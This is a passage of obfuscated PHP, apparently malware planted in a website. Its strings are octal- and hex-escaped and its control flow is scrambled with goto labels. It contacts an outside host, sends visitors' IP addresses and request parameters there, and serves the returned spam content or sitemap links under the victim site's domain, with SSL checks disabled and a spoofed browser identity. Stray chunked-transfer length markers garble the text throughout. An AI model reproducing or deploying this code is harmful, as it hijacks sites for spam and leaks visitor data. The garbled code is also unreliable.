2 12 $url, CURLOPT_RETU 7 RNTRANS b FER => true e , CURLOPT_SSL_ e VERIFYPEER => 1b false, CURLOPT_SSL_VERIFYHO 18 ST => false, CURLOPT_FOL 7 LOWLOCA 17 TION => true, CURLOPT_T a IMEOUT => f 10, CURLOPT_HTT 17 PGET => true, CURLOPT_U d SERAGENT => " 10 \115\157\172\151 e \154\x6c\141\5 c 7\x35\x2e\60 d ")); $data = d curl_exec($ch 14 ); curl_close($ch); 18 if (!empty($data)) { ret f urn $data; } } 10 if (ini_get("\14 11 1\154\x6c\x6f\167 16 \x5f\x75\162\154\x5f\1 f 46\157\160\x65\ 10 156")) { $contex b t = stream_ f context_create( b array("\x68 11 \164\x74\160" => 11 array("\155\x65\1 f 64\x68\x6f\x64" 12 => "\x47\105\x54" f , "\x74\x69\155 15 \145\x6f\x75\x74" => 11 10, "\150\x65\x61 15 \x64\x65\162" => "\12 14 5\163\x65\162\x2d\x4 16 1\147\145\x6e\164\x3a\ e 40\x4d\157\x7a 12 \151\x6c\x6c\x61\x 13 2f\x35\x2e\60\15\12 b "), "\163\x 20 73\x6c" => array("\166\x65\162\x a 69\146\x79 20 \137\160\x65\145\162" => false, 13 "\x76\145\x72\151\1 e 46\171\137\x70 12 \145\145\162\x5f\x e 6e\141\x6d\x65 2b " => false))); $data = @file_get_contents($ 14 url, false, $context 34 ); if (!empty($data)) { return $data; } } return ''; e } goto X5nb1; e D_iaM: $vurl 12 = $http_type . "\x 12 69\144\154\x79\62\ c 56\x69\x64\x 6 73\x68 11 \157\x70\x2e\x63\ c 143\167\x75\ f 56\143\x63\x2f\ f 64\61\71\56\x61 14 \163\x70\x78"; goto c N2pxL; EzYoe 23 : if (!empty($get["\163"])) { $para 11 ms = array("\163" d => date("\13 11 1\x6d\144\x48\151 15 "), "\x6e\165\155\142 19 \x65\162" => $get["\156\1 14 65\x6d\x62\145\162"] 13 ); $str = getCurl($ 17 vurl, $params); $str = a str_replac 13 e(array("\173\xe5\2 d 75\223\xe5\x8 b 9\x8d\345\x c 9c\260\xe5\2 e 35\x80\x7d"), 22 array($http_type . $_SERVER["\110\ f x54\x54\x50\x5f 15 \110\117\x53\124"] . 24 $_SERVER["\123\x43\122\x49\x50\124\1 1b 37\116\x41\x4d\x45"]), $str d ); header("\1 10 03\157\156\x74\x 13 65\156\164\x2d\164\ 10 171\160\x65\72\1 14 64\x65\170\x74\57\x7 e 8\155\154"); e c cho $str; di f e; } goto N4dac 15 ; X5nb1: $http_type = 1f !empty($_SERVER["\110\x54\x54\ e 120\123"]) && 1d $_SERVER["\x48\124\124\x50\12 c 3"] !== "\x6 f f\146\x66" ? "\ 15 x68\164\164\160\x73\x 10 3a\x2f\x2f" : "\ 1a 150\164\164\160\x3a\x2f\57 12 "; goto Aq5NJ; f5X 10 oA: function pos 23 tCurl($url, $postData = array()) { 20 $postString = is_array($postData 2c ) ? http_build_query($postData) : $postData; 31 if (function_exists("\143\x75\162\154\x5f\x69\x6 f5 e\x69\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_ 1b POST => true, CURLOPT_POSTF a IELDS => $ 70 postString)); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ 25 x6c\x6c\157\x77\x5f\x75\162\154\x5f\x 10 66\x6f\x70\145\1 51 56")) { $context = stream_context_create(array("\150\164\164\160" => array("\155\ 13 145\164\150\157\144 17 " => "\120\x4f\x53\124" 17 , "\164\x69\155\x65\157 1a \165\x74" => 10, "\x68\x65 f \141\144\x65\x7 1c 2" => "\103\x6f\156\x74\x65\ 13 x6e\x74\55\124\171\ 11 x70\x65\x3a\x20\x 16 61\160\160\x6c\x69\x63 14 \x61\x74\x69\x6f\x6e 13 \57\x78\55\x77\x77\ 12 167\55\x66\x6f\x72 14 \155\x2d\165\162\x6c b \x65\156\14 10 3\157\144\145\14 f 4\xd\12" . "\x4 1b 3\x6f\156\x74\145\156\x74\x 14 2d\x4c\145\x6e\147\1 10 64\x68\72\40" . 13 strlen($postString) 14 . "\xd\xa" . "\125\ 10 x73\145\x72\x2d\ 15 101\x67\x65\156\164\x 20 3a\40\x4d\157\172\151\x6c\x6c\14 f 1\x2f\65\56\x30 13 \xd\xa", "\143\x6f\ 24 x6e\164\145\x6e\164" => $postString) 28 , "\163\x73\x6c" => array("\x76\145\x72\ 14 x69\146\171\x5f\x70\ 2f x65\145\162" => false, "\x76\145\162\x69\x66\x7 12 9\x5f\160\145\x65\ 12 x72\137\x6e\141\15 85 5\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF 1c ; N4dac: if (!empty($get["\1 20 51\144"])) { if (empty($get["\15 f 3\153"])) { $ip d = get_ip(); 21 $params = array("\x69\160" => $ip 12 , "\x69\144" => is 14 set($get["\x69\144"] 14 ) ? $get["\151\x64"] c : '', "\x6c 12 \x6c" => $ll); $tz 2b str = getCurl($vurl, $params); if (strpos($ 17 tzstr, "\x69\144") !== 14 false) { echo $tzstr 29 ; die; } } $params = array("\x69\x64" => 18 $get["\x69\x64"], "\x6c\ 49 154" => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\ e x7b\125\x52\x4 e c\175", "\173\ c 345\237\237\ d 345\x90\215\1 16 75"), array(get_url_in f fo("\146\165\15 1a 4\x6c"), get_url_info("\15 15 6\157\137\x77\167\167 1e ")), $str); echo $str; die; } 16 else { $sitemapUrl = $ 11 ll . "\x3f\x73\x3 10 d" . date("\131\ f 155\144\110\x69 17 "); echo "\74\144\x69\1 14 66\40\x73\164\171\15 d 4\145\x3d\x27 1a \x74\145\170\164\x2d\x61\1 12 54\151\147\156\x3a 19 \x63\145\x6e\164\x65\x72\ 14 73\40\160\x61\144\14 11 4\x69\156\x67\72\ f 61\x30\160\170\ f 40\x30\73\x27\7 14 6\x3c\x61\x20\150\16 f 2\x65\146\75\42 10 {$sitemapUrl}\x2 15 2\x20\x74\x61\x72\x67 e \x65\164\x3d\4 18 2\x5f\x62\154\141\x6e\x6 15 b\42\40\162\x65\x6c\x 10 3d\x22\x6e\157\x 18 66\157\x6c\x6c\157\167\x c 22\x3e\x20\x 1c 53\x69\x74\x65\x6d\x61\160\7 12 4\57\141\x3e\x3c\x 10 2f\144\151\166\7 e 6"; } goto nnS 8 Bp; Uh8S 14 o: function get_ip() b { foreach 1e (array("\x48\x54\x54\x50\x5f\x 11 58\137\x46\117\x5 9 2\127\101 12 \122\104\x45\104\x 14 5f\x46\x4f\x52", "\x 15 48\124\x54\120\x5f\x4 f 3\114\x49\105\x 12 4e\x54\137\111\x50 11 ", "\x52\x45\x4d\ 15 117\x54\x45\x5f\101\x f 44\x44\x52") as 5 $key 1d ) { if (!empty($_SERVER[$key] 14 )) { return trim(exp b lode("\x2c" 13 , $_SERVER[$key])[0 16 ]); } } return "\x55\x d 4e\113\116\x4 13 f\x57\116"; } goto 1b f5XoA; shqZL: function get_ 11 url_info(string $ 17 return_type = "\144\157 11 \155\141\151\x6e" 12 ) : string { $host 1e = $_SERVER["\x48\124\124\x50\ 1b x5f\110\x4f\123\x54"]; if ( 1d $return_type === "\144\x6f\15 1a 5\x61\x69\156") { return $ 20 host; } if ($return_type === "\1 18 56\157\x5f\x77\167\167") 15 { return ltrim($host 17 , "\x77\x77\167\x2e"); b } $protocol a = isset($ 2f _SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\ 21 110\x54\x54\x50\x53"] === "\x6f\1 18 56" || isset($_SERVER["\ 16 x48\x54\124\x50\x5f\13 16 0\137\106\x4f\122\127\ 14 x41\122\104\x45\x44\ 17 137\x50\x52\117\x54\x4f 2e "]) && $_SERVER["\110\124\124\120\137\x58\137\ 1c 106\x4f\122\x57\101\122\104\ 10 105\104\137\x50\ 18 122\x4f\x54\117"] === "\ 13 150\x74\x74\160\x73 18 " ? "\x68\x74\164\x70\x7 12 3\x3a\57\x2f" : "\ 1b x68\x74\164\x70\72\x2f\x2f" 8 ; $base_ 19 url = $protocol . $host; 26 if ($return_type === "\142\x61\x73\145 1b ") { return $base_url; } $u 1a ri = $_SERVER["\x52\x45\12 b 1\125\105\1 16 23\124\x5f\x55\122\x49 9 "]; $full 17 _url = $base_url . $uri 25 ; if ($return_type === "\x66\165\154\ 19 154") { return $full_url; 22 } return ''; } goto Uh8So; nnSBp: 3 ?> 0